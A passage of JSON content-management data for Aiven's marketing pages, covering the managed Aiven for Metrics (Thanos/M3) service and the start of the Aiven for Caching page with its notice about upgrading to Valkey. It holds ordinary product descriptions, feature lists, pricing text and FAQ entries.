downtime."}],"markDefs":[],"style":"normal"},{"_key":"b71be1fd68f8","_type":"block","children":[{"_key":"4ac8e5fa0f460","_type":"span","marks":[],"text":"When it comes to offering a full set of features, interoperability, scalability, ease of use and all-inclusive pricing, there’s really nothing better than Aiven for Metrics."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Aiven for Metrics"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":true,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"782365ddf63d","_type":"block","children":[{"_key":"9e1acfca9b500","_type":"span","marks":[],"text":"With the increasing amount of IoT deployments, the amount of data produced by connected water, energy, temperature meters, health monitors, and wearable tech is growing exponentially. M3’s highly scalable database architecture is a perfect fit for high cardinality data."}],"markDefs":[],"style":"normal"}],"title":"IoT Deployments","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"46b5cdc28d45","_type":"block","children":[{"_key":"b6b99de61ef40","_type":"span","marks":[],"text":"Aiven for M3 excels at large-scale monitoring. By combining it with monitoring, logging, analysis, diagnosis and alerting tools (including Grafana® and OpenSearch®) it can be used to build a fully integrated observability platform to keep your system operating smoothly."}],"markDefs":[],"style":"normal"}],"title":"Observability","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"416c32a6d811","_type":"block","children":[{"_key":"19270e24b37e0","_type":"span","marks":[],"text":"A typical standard Prometheus environment includes a single-server database that doesn't scale. With Aiven for M3 as a drop-in replacement (thanks to its Prometheus interface support) you can get unlimited scalability with just a few clicks."}],"markDefs":[],"style":"normal"}],"title":"Supersized monitoring","variant":"icon-card"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use Aiven for Metrics"},{"_key":"f4e2cb30eaf6","_type":"textColumn","disabled":false,"fullWidth":true,"id":"features","noSpaceTop":true,"rounded":false,"tagline":"Features","title":"Key features of Aiven for Metrics","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-4830a516436c8c876dced04a9c10f57288ae3291-1320x720-png","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setup","text":[{"_key":"93a65cde0e77","_type":"block","children":[{"_key":"bcf3d50240c20","_type":"span","marks":[],"text":"Fully managed Thanos clusters up and running in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8b5abc1ae30d","_type":"block","children":[{"_key":"de7b316094b50","_type":"span","marks":[],"text":"Deploy to AWS, GCP or Azure, in over 70 regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8f064830592f","_type":"block","children":[{"_key":"85971def3f070","_type":"span","marks":[],"text":"Unlimited scalability, high availability and multi AZ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"45c871bf26cf","_type":"block","children":[{"_key":"c63d1d5c40f30","_type":"span","marks":[],"text":"Integrated object storage keeps costs low as data grows"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft"},{"_key":"8ecd2b037fbc5f55ffbbc94a4cf3e21b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-69ee509178dfa0a50a96d2c0d19ccbb14027eb09-1113x720-png","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"tagline":"Connect","text":[{"_key":"0c8270cdb72c","_type":"block","children":[{"_key":"daec096a22fd0","_type":"span","marks":[],"text":"Native support for PromQL queries"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3d59e3fe1b22","_type":"block","children":[{"_key":"29d451614ce70","_type":"span","marks":["24750eedb829"],"text":"Integrate with Aiven for Grafana®"},{"_key":"29d451614ce71","_type":"span","marks":[],"text":" for visualizations, and "},{"_key":"29d451614ce72","_type":"span","marks":["907cc12ee5c4"],"text":"Prometheus"},{"_key":"29d451614ce73","_type":"span","marks":[],"text":" as remote storage"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"24750eedb829","_type":"link","href":"https://aiven.io/docs/products/m3db/howto/grafana"},{"_key":"907cc12ee5c4","_type":"link","href":"https://aiven.io/docs/products/m3db/howto/prometheus-storage"}],"style":"normal"},{"_key":"f84711644c57","_type":"block","children":[{"_key":"1e23315eca8f","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"8e99d044b7de1","_type":"span","marks":["41bbbc18a330"],"text":"VPC peering"},{"_key":"8e99d044b7de2","_type":"span","marks":[],"text":" or TransitGateway technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"41bbbc18a330","_type":"link","href":"https://aiven.io/docs/platform/howto/manage-vpc-peering"}],"style":"normal"},{"_key":"c81f0f48dc9f","_type":"block","children":[{"_key":"ab2a3aeed7da0","_type":"span","marks":["41fb93145ca1"],"text":"Integrate"},{"_key":"9f72d1595497","_type":"span","marks":[],"text":" with your favorite observability tooling or use Aiven observability tools for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"41fb93145ca1","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"},{"_key":"1184c872c6e8","_type":"block","children":[{"_key":"9ce4a64138430","_type":"span","marks":[],"text":"Receive metrics from other Aiven services, and monitor their health with pre-built dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-32a0f5f29b10096408155ccca816e5f51dc2a627-1313x720-png","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"tagline":"Control","text":[{"_key":"8daca57f9d51","_type":"block","children":[{"_key":"6a8cb5c943030","_type":"span","marks":[],"text":"Manage your Aiven for Metrics cluster using Aiven Console (GUI), CLI or "},{"_key":"6a8cb5c943031","_type":"span","marks":["2991502e95d0"],"text":"Terraform"},{"_key":"6a8cb5c943032","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2991502e95d0","_type":"link","href":"https://aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"1764f86a1660","_type":"block","children":[{"_key":"3d551349de420","_type":"span","marks":[],"text":"Scale, reconfigure, or integrate to other services with just a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dd2698e3c96a","_type":"block","children":[{"_key":"f07de6054e830","_type":"span","marks":[],"text":"Guaranteed compatibility with open source software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0e26aac50666","_type":"block","children":[{"_key":"52d77e9c8c710","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-d6f8685ba68760fdcbd55e626b4e821fd68b2857-1345x720-png","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"696e451e8826","_type":"block","children":[{"_key":"870db77893220","_type":"span","marks":[],"text":"Self-healing platform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b4c04fe8edca","_type":"block","children":[{"_key":"d63c159f7a570","_type":"span","marks":[],"text":"Zero downtime during scaling, upgrading, and other management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9e6bba7473d0","_type":"block","children":[{"_key":"4c6d535e88f70","_type":"span","marks":[],"text":"Automatic daily backups, depending on your plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d2094c2ff4ab","_type":"block","children":[{"_key":"70f1c895bdec0","_type":"span","marks":["ce7e63212787"],"text":"Secure and compliant solution"},{"_key":"48b7b8f56588","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ce7e63212787","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Reliable, secure and zero lock-in","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Spin up your first cluster now","variant":"centerColumn"},{"_key":"7188d28416567597ad486c67f88734a1","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","defaultCloud":"Amazon Web Services","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"service":{"_ref":"d7af1e8f-797a-4896-8a4f-3cfc07701050","_type":"reference"},"subtitle":[{"_key":"da8d95929410","_type":"block","children":[{"_key":"4861e9a97a21","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises. No extra maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and high-availability multi-AZ available. Spin up clusters and regions when you need them, and shut them down when you don’t."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Pay only for what you use.","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","addSpaceTop":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":false,"id":"faq","isFaqAccordion":true,"items":[{"_key":"5044f81195ca","_type":"accordionItem","panelText":[{"_key":"15659d25930f","_type":"block","children":[{"_key":"f77d9d3b8fe20","_type":"span","marks":[],"text":"Aiven for Metrics is a fully managed, Prometheus-compatible metrics platform built on the open-source Thanos project. It provides a scalable, reliable, and cost-effective solution for collecting, storing and querying metrics data."}],"markDefs":[],"style":"blockquote"}],"title":"What is Aiven for Metrics"},{"_key":"b797a0c5dba7","_type":"accordionItem","panelText":[{"_key":"5e3945d18aa9","_type":"block","children":[{"_key":"8ac8be264810","_type":"span","marks":[],"text":"Aiven for Metrics is powered by Thanos, designed to act as a Prometheus backend. It adds long-term storage and global query views across multiple Prometheus instances. This makes it ideal for organizations needing to retain metrics data for extended periods and analyze data from various sources."}],"markDefs":[],"style":"normal"}],"title":"How does Aiven for Metrics differ from Prometheus?"},{"_key":"20b89b390879","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"04b7cc96cd0e","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"}],"rounded":false,"roundedCorners":"rounded","title":"FAQ"},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":false,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/metrics","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-5a2faa576bc2160fff4bfe4492c44746547cbe6d-1200x630-png","_type":"reference"}},"subtitle":[{"_key":"70ed1c203369","_type":"block","children":[{"_key":"58e40df4fa100","_type":"span","marks":[],"text":"Getting started with Aiven for Metrics, including core concepts, how-to's, and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"3533b41a30a2","_ref":"117d4f9e-b627-41f0-92d6-6b5a3abd5038","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Resources","title":"Learn how to use Aiven for Metrics"}],"seo":{"_type":"metaData","metaDescription":"Fully managed Thanos metrics – a cost-effective, open source prometheus solution designed to scale ✓ All-in-one open source cloud data platform","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5f3373b0ce097abf128b10539a744c27ae854db9-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Metrics\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed Thanos Metrics, M3 as a service, Cloud M3\",\n \"description\": \"Aiven for Metrics, is a fully managed, distributable metrics platform that is deployable on Google Cloud Platform and Amazon Web Services.\",\n \"featureList\": \"Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure\",\n \"softwareHelp\": {\n \"url\": \"https://aiven.io/docs/products/metrics\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source distributed time series database\",\n \"applicationSubCategory\": \"Database\"\n}","metaTitle":"Managed Metrics | Aiven"},"service":{"_ref":"d7af1e8f-797a-4896-8a4f-3cfc07701050","_type":"reference"},"slug":{"_type":"slug","current":"/metrics"},"title":"Metrics"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"13512903-e091-4cd8-9625-d942418d75d2__i18n_ja","_type":"reference"}],"_createdAt":"2024-04-17T12:24:06Z","_id":"d1d507e1-9f11-4bc7-818f-bd9702a10553","_rev":"UCe181y7ND8VpGNVLGjUeP","_type":"product","_updatedAt":"2025-01-15T16:39:57Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Caching","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform "}},"darkTheme":true,"description":[{"_key":"2b9364719803","_type":"block","children":[{"_key":"e80ad63da24f0","_type":"span","marks":[],"text":"Aiven for Caching is compatible with legacy Redis® OSS. It is a managed, in-memory NoSQL database with a small footprint and big performance."}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"10e4ca9488e7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"a18ec3c2e5f8","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"73742df4ef01","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-c958841206b462dc9d24f403fb4d45ac772285b5-1600x1137-png","_type":"reference"}},"imageSize":"default","primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/caching","title":"See docs"},"tagline":"Managed and hosted","title":"Aiven for Caching","variant":"default"},{"_key":"acd867b7eef2","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":true,"fullWidth":false,"infoBanner":{"_ref":"aebce928-e63f-4272-8698-4894ef7b78c2","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":true,"variant":"default"},{"_key":"ca2243f1f45066a16351bcf49f3ead44","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"infoBanner":{"_ref":"da9675d1-ad45-4c1e-a342-917f648be72a","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":true,"variant":"default"},{"_key":"314233093d84","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"fb07e22097b1","_type":"block","children":[{"_key":"ca33bc87e154","_type":"span","marks":["strong"],"text":"What is Aiven for Valkey™, and why should you be using it?"}],"markDefs":[],"style":"normal"},{"_key":"793c8ba7656d","_type":"block","children":[{"_key":"2bf50b1683d6","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"118221bd86da","_type":"block","children":[{"_key":"f9c9d0f544d3","_type":"span","marks":[],"text":"The Linux Foundation launched Valkey™ last year, an open-source Redis® with total compatibility and portability from open-source Redis® fork, released under the three-clause BSD license. Aiven is proud to be an early supporter of the project and to provide it on its platform."}],"markDefs":[],"style":"normal"},{"_key":"dba729c1e7ee","_type":"block","children":[{"_key":"2600bcbb5051","_type":"span","marks":["ea443c4b5d01"],"text":"Aiven for Valkey™"},{"_key":"202980dfc99f","_type":"span","marks":[],"text":" offers the following benefits:"}],"markDefs":[{"_key":"ea443c4b5d01","_type":"internalLink","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"}}],"style":"normal"},{"_key":"67c89dc7f95d","_type":"block","children":[{"_key":"c278c1b3d677","_type":"span","marks":[],"text":"Fully compatible with Redis® version 7.2 and below"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"213d4ea9c6e2","_type":"block","children":[{"_key":"10f3b52b00d0","_type":"span","marks":[],"text":"Open source and permissively licensed, not locking you in with any vendors"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fbc4a1fcf7f0","_type":"block","children":[{"_key":"3c59cfb40060","_type":"span","marks":[],"text":"Actively "},{"_key":"bfe2011bcd11","_type":"span","marks":["6705e4ee4ab7"],"text":"developed and supported by The Linux Foundation"},{"_key":"b65622ce322b","_type":"span","marks":[],"text":", Amazon Web Services (AWS), Google Cloud, Oracle and Aiven!"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6705e4ee4ab7","_type":"link","href":"https://www.linuxfoundation.org/press/linux-foundation-launches-open-source-valkey-community"}],"style":"normal"},{"_key":"e151666d5dc4","_type":"block","children":[{"_key":"28af484aa2c3","_type":"span","marks":[],"text":"Innovative and cutting-edge capabilities being added and roadmapped to Valkey™ such as "},{"_key":"6ae24cd38ee7","_type":"span","marks":["6add79d3445f"],"text":"Vector Search"},{"_key":"86fa5730d690","_type":"span","marks":[],"text":", multi threading in the near term, and clustering and sharding in the medium term"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6add79d3445f","_type":"link","href":"https://github.com/valkey-io/valkey-rfc/pull/8"}],"style":"normal"}],"columnTwo":[{"_key":"5eda269b028a","_type":"block","children":[{"_key":"367e17a025e9","_type":"span","marks":[],"text":"Please note that support for Aiven for Caching on the Aiven tenant will stop on "},{"_key":"3539421c7fd1","_type":"span","marks":["strong"],"text":"March 31st 2025."}],"markDefs":[],"style":"normal"},{"_key":"abdbac37c53c","_type":"block","children":[{"_key":"d5473c892010","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a90be78d2c53","_type":"block","children":[{"_key":"be489cfb73d2","_type":"span","marks":[],"text":"After February 15th 2025, users will no longer be able to start a new Aiven for Caching service, but existing services up until version 7.2 will still be available until end of life. Avoid any service interruption by "},{"_key":"59b3ade23504","_type":"span","marks":["dc6b59ccc6c6"],"text":"upgrading to Aiven for Valkey now"},{"_key":"bf4cff07d6e2","_type":"span","marks":[],"text":"!"}],"markDefs":[{"_key":"dc6b59ccc6c6","_type":"link","href":"https://aiven.io/docs/products/caching/howto/upgrade-aiven-for-caching-to-valkey"}],"style":"normal"},{"_key":"17f7a70277b2","_type":"block","children":[{"_key":"7d0fe77e4c89","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bd77ea63dc6b","_type":"block","children":[{"_key":"c937a1127714","_type":"span","marks":["strong"],"text":"After the end-of-life date of March 31st 2025, all Aiven for Caching services will be automatically upgraded to Aiven for Valkey™."}],"markDefs":[],"style":"normal"},{"_key":"e15ec3c0c6ef","_type":"block","children":[{"_key":"f7a75ea4fc0e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0224ba3cc014","_type":"block","children":[{"_key":"a5793bea8b22","_type":"span","marks":[],"text":"_"}],"markDefs":[],"style":"normal"},{"_key":"496c066659c6","_type":"block","children":[{"_key":"70dcbbf41302","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"957fa865a4a1","_type":"block","children":[{"_key":"99b4860fa4eb","_type":"span","marks":["em","strong"],"text":"Important Note:"},{"_key":"c0b801abf43d","_type":"span","marks":["em"],"text":" If you are an Aiven customer through a cloud marketplace, please note that you will be able to upgrade to Aiven for Valkey at a later date on your corresponding marketplace. Your service will run in its current state until further notice. Contact your Aiven account manager for more information."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"id":"upgrade-caching-to-valkey","noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"The future of Caching is here","title":"Upgrade to Aiven for Valkey now!","topOverlap":false,"variant":"twoColumn"},{"_key":"7716cee57b92","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-88929b889ac8e33499866181f9816ac62c70e65d-1800x942-jpg","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"The future of Caching is here","text":[{"_key":"b01da75e0565","_type":"block","children":[{"_key":"132e6f0030fe0","_type":"span","marks":[],"text":"Support for Aiven for Caching on the Aiven tenant will stop on "},{"_key":"22eb1b4165fb","_type":"span","marks":["strong"],"text":"March 31st 2025."}],"markDefs":[],"style":"normal"},{"_key":"6be9987cd896","_type":"block","children":[{"_key":"513ec30c8490","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d72d90f50d92","_type":"block","children":[{"_key":"9ce8cd1285600","_type":"span","marks":[],"text":"After February 15th 2025, users will no longer be able to start a new Aiven for Caching service, but existing services up until version 7.2 will still be available until end of life. Avoid any service interruption by "},{"_key":"9ce8cd1285601","_type":"span","marks":["1cc3ad198939"],"text":"upgrading to Aiven for Valkey now"},{"_key":"cd56e8975b8a","_type":"span","marks":[],"text":"!"}],"markDefs":[{"_key":"1cc3ad198939","_type":"link","href":"https://aiven.io/docs/products/caching/howto/upgrade-aiven-for-caching-to-valkey"}],"style":"normal"},{"_key":"f4cf836423e9","_type":"block","children":[{"_key":"f985d69fd311","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"fafdeb80b22e","_type":"block","children":[{"_key":"0e4aabb8c2800","_type":"span","marks":["strong"],"text":"After the end-of-life date of March 31st 2025, all Aiven for Caching services will be automatically upgraded to Aiven for Valkey™."}],"markDefs":[],"style":"normal"},{"_key":"85b79839fd02","_type":"block","children":[{"_key":"e59f65fb56dc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"114d5041b74b","_type":"block","children":[{"_key":"6f833e83289d0","_type":"span","marks":["em","strong"],"text":"Important Note:"},{"_key":"5717b3b47013","_type":"span","marks":["em"],"text":" If you are an Aiven customer through a cloud marketplace, please note that you will be able to upgrade to Aiven for Valkey at a later date on your corresponding marketplace. Your service will run in its current state until further notice. Contact your Aiven account manager for more information."}],"markDefs":[],"style":"normal"},{"_key":"595ca136ca62","_type":"block","children":[{"_key":"fd4671d987230","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Upgrade to Aiven for Valkey now!","topOverlap":false,"variant":"mediaLeft"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-c49aa024b64012920f36be76dce8581e6a340388-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","externalUrl":"https://aiven.io/caching","title":"Aiven for Caching"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for Caching"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","resources":{"_type":"textItem","content":[{"_key":"7a96d10ef83f","_type":"block","children":[{"_key":"dfba7ce02202","_type":"span","marks":["strong"],"text":"Resources"}],"markDefs":[],"style":"normal"},{"_key":"66a74d5ed880","_type":"block","children":[{"_key":"16047090f776","_type":"span","marks":["3bc9440a7d6a"],"text":"What is Redis? (blog)"}],"markDefs":[{"_key":"3bc9440a7d6a","_type":"internalLink","internalLink":{"_ref":"5n7mhiPowEK6X49UpoZSU4","_type":"reference"}}],"style":"normal"},{"_key":"bfe958403829","_type":"block","children":[{"_key":"ebe437864dcc","_type":"span","marks":["a29742c95edc"],"text":"Aiven for Caching (docs)"}],"markDefs":[{"_key":"a29742c95edc","_type":"link","href":"https://aiven.io/docs/products/caching"}],"style":"normal"}]},"rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"10fcada6cca5","_type":"block","children":[{"_key":"fb8a4d92e8970","_type":"span","marks":[],"text":"Get a fully managed, in-memory NoSQL database – with Aiven for Caching"}],"markDefs":[],"style":"h3"},{"_key":"cad22fa7ec3a","_type":"block","children":[{"_key":"cd364ebef1a70","_type":"span","marks":[],"text":"Aiven for Caching is Redis® compatible in-memory, open source  NoSQL datastore that is perfect as a fast data store, cache, or lightweight message broker. It’s a complementary tool for your data architecture, serving as a flexible data structure server to store and recall data on the fly."}],"markDefs":[],"style":"normal"},{"_key":"0d2f13ad2e36","_type":"block","children":[{"_key":"819cbc0747070","_type":"span","marks":[],"text":"With Aiven, you can get high-performance data caching or integrate Aiven for Caching easily for observability purposes such as logging and monitoring."}],"markDefs":[],"style":"normal"},{"_key":"9e733fcf32cf","_type":"block","children":[{"_key":"586a71abfbef","_type":"span","marks":[],"text":"Aiven for Caching provides data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes, and streams."}],"markDefs":[],"style":"normal"}]}],"subtitle":[{"_key":"779a5b150d54","_type":"block","children":[{"_key":"4757906ae4b30","_type":"span","marks":[],"text":"Set up a fully managed in-memory NoSQL datastore in less than 10 minutes — directly from our web console or programmatically via our API, CLI, or Terraform provider. Aiven for Caching is fully compatible with legacy Redis® OSS so you can connect it to your existing tech stack with ease."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What can you do with Aiven for Caching?","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"fb1f618c029c","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"redis"},{"_key":"da23b424b7d1","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"516f3f3a318a","_ref":"9da4838e-53cf-49d0-b2b9-19246a10e92d","_type":"podcast"}],"itemsPerRow":1,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"fww3wb5pqugwesdiiadvkx9xonkm3jmc","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center 